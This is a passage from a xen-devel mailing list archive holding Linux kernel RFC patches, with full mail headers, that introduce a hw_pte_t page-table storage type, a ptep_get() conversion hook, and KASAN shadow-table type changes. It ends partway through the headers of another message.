 Mon, 27 Jul 2026 09:47:49 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id CAAF73F86F;
 Mon, 27 Jul 2026 09:47:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170873; bh=OeHCtGC0uAROhEyzqyRGicgDGQ57E/f+pQoW3sVwCjU=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=d9t9pVk3z+LotvxypYLqFho7KP5XEkp7l8lfha+xgcBRash4qGjZ0Vd/mV34z3ngj
	 YCiqC4R9lIHqddTtejnz0iRZ+amGDO4RrpcG6DeJWoifcWXWkFCXl4PCx8iVJw3r/E
	 fHskF6P1T34bdcplSjvRlLirD1a3/E+yp9d0XlLw=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 02/11] mm: make hw_pte_t visible to generic PTE interfaces
Date: Mon, 27 Jul 2026 17:46:53 +0100
Message-ID: <20260727164715.2866609-3-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1785170874-FDC6D034-99337F8F/0/0
X-purgate-type: clean
X-purgate-size: 1823

Later conversions use hw_pte_t in page-table checking, generic page-table
helpers, and vmalloc interfaces. Include linux/pgtable_types.h from the
headers that declare those interfaces before changing their types.

For vmalloc.h, replace the direct asm/page.h include with
linux/pgtable_types.h. The latter includes asm/page.h, so pgprot_t remains
available.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 include/linux/page_table_check.h | 2 ++
 include/linux/pgtable.h          | 1 +
 include/linux/vmalloc.h          | 2 +-
 3 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/include/linux/page_table_check.h b/include/linux/page_table_check.h
index 12268a32e8be1..12ee6d16ad339 100644
--- a/include/linux/page_table_check.h
+++ b/include/linux/page_table_check.h
@@ -7,6 +7,8 @@
 #ifndef __LINUX_PAGE_TABLE_CHECK_H
 #define __LINUX_PAGE_TABLE_CHECK_H
 
+#include <linux/pgtable_types.h>
+
 #ifdef CONFIG_PAGE_TABLE_CHECK
 #include <linux/jump_label.h>
 
diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
index 8c093c119e5a8..cf595608cc4c4 100644
--- a/include/linux/pgtable.h
+++ b/include/linux/pgtable.h
@@ -4,6 +4,7 @@
 
 #include <linux/pfn.h>
 #include <asm/pgtable.h>
+#include <linux/pgtable_types.h>
 
 #define PMD_ORDER	(PMD_SHIFT - PAGE_SHIFT)
 #define PUD_ORDER	(PUD_SHIFT - PAGE_SHIFT)
diff --git a/include/linux/vmalloc.h b/include/linux/vmalloc.h
index e4d8d0a9f30f9..c59a68c183110 100644
--- a/include/linux/vmalloc.h
+++ b/include/linux/vmalloc.h
@@ -8,7 +8,7 @@
 #include <linux/init.h>
 #include <linux/list.h>
 #include <linux/llist.h>
-#include <asm/page.h>		/* pgprot_t */
+#include <linux/pgtable_types.h>	/* pgprot_t, hw_pte_t */
 #include <linux/rbtree.h>
 #include <linux/overflow.h>
 
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371803.1619301 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcJ-00087F-9w; Mon, 27 Jul 2026 16:55:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371803.1619301; Mon, 27 Jul 2026 16:55:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcI-00085K-V7; Mon, 27 Jul 2026 16:55:50 +0000
Received: by outflank-mailman (input) for mailman id 1371803;
 Mon, 27 Jul 2026 16:48:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOV4-0005kr-Q9
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOV4-001vdH-71
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:22 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bca-e002-0a2a0a5209dd-0a2a450ba882-8
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:22 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bd5-b7e8-0a2a450b0019-d98c6eacd7e8-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:21 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id A84A01758;
 Mon, 27 Jul 2026 09:48:16 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 124133F86F;
 Mon, 27 Jul 2026 09:48:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170900; bh=qIwnegDzdMrafDzJdJv9H+LswsYD+bpRBZRtWzKb88Y=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=FO4F3Zw2hXfsGwPhUj1oZO4YZVZFDjBN2uvHs+TxtIa/K4rUEej4TySn/fu7EGLY4
	 vMvQADIrGp/sqI/eek2J5cHHZ8KXrC89o72EJBMI04r1d0coHNWS1Z85TZkghA7MLv
	 xBWvePNCX4gOsv+djUzCeqIiU6OEAmaaKyQdaBtA=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 05/11] mm: convert PTE table entries in ptep_get()
Date: Mon, 27 Jul 2026 17:46:56 +0100
Message-ID: <20260727164715.2866609-6-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1785170902-1B2DC9EA-42C86471/0/0
X-purgate-type: clean
X-purgate-size: 1184

ptep_get() now accepts a pointer to hw_pte_t storage but must continue to
return a logical pte_t value. Add __pte_from_hw() as the conversion hook
and apply it in the generic ptep_get() implementation.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 include/linux/pgtable.h       | 2 +-
 include/linux/pgtable_types.h | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
index dad80d264aac2..3003ac9cd81fe 100644
--- a/include/linux/pgtable.h
+++ b/include/linux/pgtable.h
@@ -493,7 +493,7 @@ static inline int pudp_set_access_flags(struct vm_area_struct *vma,
 #ifndef ptep_get
 static inline pte_t ptep_get(hw_pte_t *ptep)
 {
-	return READ_ONCE(*ptep);
+	return READ_ONCE(__pte_from_hw(*ptep));
 }
 #endif
 
diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
index ed5dba42a4f8c..61afe27307ec2 100644
--- a/include/linux/pgtable_types.h
+++ b/include/linux/pgtable_types.h
@@ -6,6 +6,7 @@
 
 #ifndef __HAVE_ARCH_HW_PTE_T
 #define hw_pte_t pte_t
+#define __pte_from_hw(pte)	(pte)
 #endif
 
 #endif /* _LINUX_PGTABLE_TYPES_H */
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371805.1619305 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcJ-0008DJ-Ly; Mon, 27 Jul 2026 16:55:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371805.1619305; Mon, 27 Jul 2026 16:55:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcJ-0008B1-BS; Mon, 27 Jul 2026 16:55:51 +0000
Received: by outflank-mailman (input) for mailman id 1371805;
 Mon, 27 Jul 2026 16:48:31 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOVD-0005lP-JA
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOVD-00CEGl-01
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:31 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bcf-2eae-0a2a0a5409dd-0a2a450c9380-24
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:30 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bde-f479-0a2a450c0019-d98c6eacb156-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:30 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id AAB971762;
 Mon, 27 Jul 2026 09:48:25 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 1D0C13F86F;
 Mon, 27 Jul 2026 09:48:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170909; bh=qlMBEgSYanOpxaG5+GObNIcpflrmglgvjw2BYgGRiAs=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=cGls7zQnlsACMOdTrPwDBJKOvhD8kH8mv7YPFdOjvjhXwbN8u4sgWSL3YZNOD0Pml
	 XyFgMqudxOPDpAUOdEAXMsBPUM1LKrruj30a0mmvs9giDguNXB6O7JxdB2zaKUWPNm
	 8j3C5nbVhGELOQy1dslFMHRX+rphcvgUZy5T3uvw=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 06/11] mm/kasan: use hw_pte_t for the early shadow PTE table
Date: Mon, 27 Jul 2026 17:46:57 +0100
Message-ID: <20260727164715.2866609-7-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1785170910-51538A5B-9A1C4A4F/0/0
X-purgate-type: clean
X-purgate-size: 2210

kasan_early_shadow_pte is a complete PTE table rather than a
standalone PTE value. Declare and define its elements as hw_pte_t so
the object uses the PTE table storage type.

Read the first element through ptep_get(), which returns the logical
pte_t value expected by note_page_pte(), instead of accessing hw_pte_t
storage directly. This also uses the accessor selected by the
architecture.

The generic hw_pte_t remains an alias of pte_t, so the storage
representation is unchanged.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 include/linux/kasan.h | 2 +-
 mm/kasan/init.c       | 2 +-
 mm/ptdump.c           | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/include/linux/kasan.h b/include/linux/kasan.h
index bf233bde68c7e..ff41949c0ac08 100644
--- a/include/linux/kasan.h
+++ b/include/linux/kasan.h
@@ -51,7 +51,7 @@ typedef unsigned int __bitwise kasan_vmalloc_flags_t;
 #endif
 
 extern unsigned char kasan_early_shadow_page[PAGE_SIZE];
-extern pte_t kasan_early_shadow_pte[MAX_PTRS_PER_PTE + PTE_HWTABLE_PTRS];
+extern hw_pte_t kasan_early_shadow_pte[MAX_PTRS_PER_PTE + PTE_HWTABLE_PTRS];
 extern pmd_t kasan_early_shadow_pmd[MAX_PTRS_PER_PMD];
 extern pud_t kasan_early_shadow_pud[MAX_PTRS_PER_PUD];
 extern p4d_t kasan_early_shadow_p4d[MAX_PTRS_PER_P4D];
diff --git a/mm/kasan/init.c b/mm/kasan/init.c
index 30c5266eaf37e..9bbc2a41d23f0 100644
--- a/mm/kasan/init.c
+++ b/mm/kasan/init.c
@@ -64,7 +64,7 @@ static inline bool kasan_pmd_table(pud_t pud)
 	return false;
 }
 #endif
-pte_t kasan_early_shadow_pte[MAX_PTRS_PER_PTE + PTE_HWTABLE_PTRS]
+hw_pte_t kasan_early_shadow_pte[MAX_PTRS_PER_PTE + PTE_HWTABLE_PTRS]
 	__bss_pgtbl;
 
 static inline bool kasan_pte_table(pmd_t pmd)
diff --git a/mm/ptdump.c b/mm/ptdump.c
index 376880071ca2a..8f19f20be3c44 100644
--- a/mm/ptdump.c
+++ b/mm/ptdump.c
@@ -19,7 +19,7 @@ static inline int note_kasan_page_table(struct mm_walk *walk,
 {
 	struct ptdump_state *st = walk->private;
 
-	st->note_page_pte(st, addr, kasan_early_shadow_pte[0]);
+	st->note_page_pte(st, addr, ptep_get(kasan_early_shadow_pte));
 
 	walk->action = ACTION_CONTINUE;
 
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371807.1619313 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcK-0008Kz-7l; Mon, 27 Jul 2026 16:55:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371807.1619313; Mon, 27 Jul 2026 16:55:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcJ-0008Hx-NB; Mon, 27 Jul 2026 16:55:51 +0000
Received: by outflank-mailman (input) for mailman id 1371807;
 Mon, 27 Jul 2026 16:48:40 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOVM-0005m0-Mn
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOVM-001vdH-2G
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:40 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bcf-e002-0a2a0a5209dd-0a2a450899da-26
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:40 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678be7-f659-0a2a45080019-d98c6eacb194-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:39 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id A6C41175D;
 Mon, 27 Jul 2026 09:48:34 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 1CFE53F86F;
 Mon, 27 Jul 2026 09:48:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170918; bh=JMnQ5x98rYMBvstt3t6K+WsTOGu94NI0NQakEbtgfbo=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=YyFm5Gu8COeycq7I7LYuCSC/XjIt2u0SAKwUx1Aj+4oUv8YQBR7DVon5ehIZuZSOw
